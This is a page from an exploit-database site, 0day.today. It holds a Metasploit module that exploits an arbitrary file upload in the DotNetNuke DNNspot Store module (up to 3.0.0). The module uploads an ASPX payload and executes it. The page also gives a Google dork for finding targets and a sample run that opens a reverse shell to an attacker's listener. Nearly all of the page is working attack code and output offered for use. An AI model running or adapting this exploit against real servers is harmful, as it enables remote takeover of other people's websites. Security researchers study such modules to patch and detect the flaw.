0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
DotNetNuke DNNspot Store 3.0.0 Arbitary File Upload Exploit
# Exploit Title: DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload # Date: 23/01/2014 # Author: Glafkos Charalambous # Version: 3.0.0 # Vendor: DNNspot # Vendor URL: https://www.dnnspot.com # Google Dork: inurl:/DesktopModules/DNNspot-Store/ # # root@kali:~# msfcli exploit/windows/http/dnnspot_upload_exec payload=windows/shell/reverse_tcp LHOST=192.168.13.37 LPORT=31337 RHOST=192.168.31.33 RPORT=80 E # [*] Initializing modules... # payload => windows/shell/reverse_tcp # LHOST => 192.168.13.37 # LPORT => 31337 # RHOST => 192.168.31.33 # [-] Handler failed to bind to 192.168.13.37:31337 # [*] Started reverse handler on 0.0.0.0:31337 # [*] 192.168.31.33:80 - Uploading payload... # [*] 192.168.31.33:80 - Executing payload trrnegmv.aspx # [*] Encoded stage with x86/shikata_ga_nai # [*] Sending encoded stage (267 bytes) to 192.168.31.33 # [*] Command shell session 1 opened (192.168.13.37:31337 -> 192.168.31.33:56806) at 2014-08-28 20:56:23 +0300 # [+] Deleted trrnegmv.aspx # # Microsoft Windows [Version 6.2.9200] # (c) 2012 Microsoft Corporation. All rights reserved. # # C:\Windows\SysWOW64\inetsrv> # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'DotNetNuke DNNspot Store (UploadifyHandler.ashx) <= 3.0.0 Arbitary File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability found in DotNetNuke DNNspot Store module versions below 3.0.0. }, 'Author' => [ 'Glafkos Charalambous <glafkos.charalambous[at]unithreat.com>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://metasploit.com' ] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Privileged' => false, 'Targets' => [ [ 'DNNspot-Store / Windows', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 21 2014')) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx") }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit @payload_name = "#{rand_text_alpha_lower(8)}.aspx" exe = generate_payload_exe aspx = Msf::Util::EXE.to_exe_aspx(exe) post_data = Rex::MIME::Message.new post_data.add_part(aspx, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") post_data.add_part("/DesktopModules/DNNspot-Store/ProductPhotos/", nil, nil, "form-data; name=\"folder\"") post_data.add_part("1", nil, nil, "form-data; name=\"productId\"") post_data.add_part("w00t", nil, nil, "form-data; name=\"type\"") data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{peer} - Uploading payload...") res = send_request_cgi({ "method" => "POST", "uri" => normalize_uri("DesktopModules/DNNspot-Store/Modules/Admin/UploadifyHandler.ashx"), "data" => data, "ctype" => "multipart/form-data; boundary=#{post_data.bound}" }) unless res and res.code == 200 fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") end register_files_for_cleanup(@payload_name) print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/DesktopModules/DNNspot-Store/ProductPhotos/",@payload_name) }) end end # 0day.today [2024-12-25] #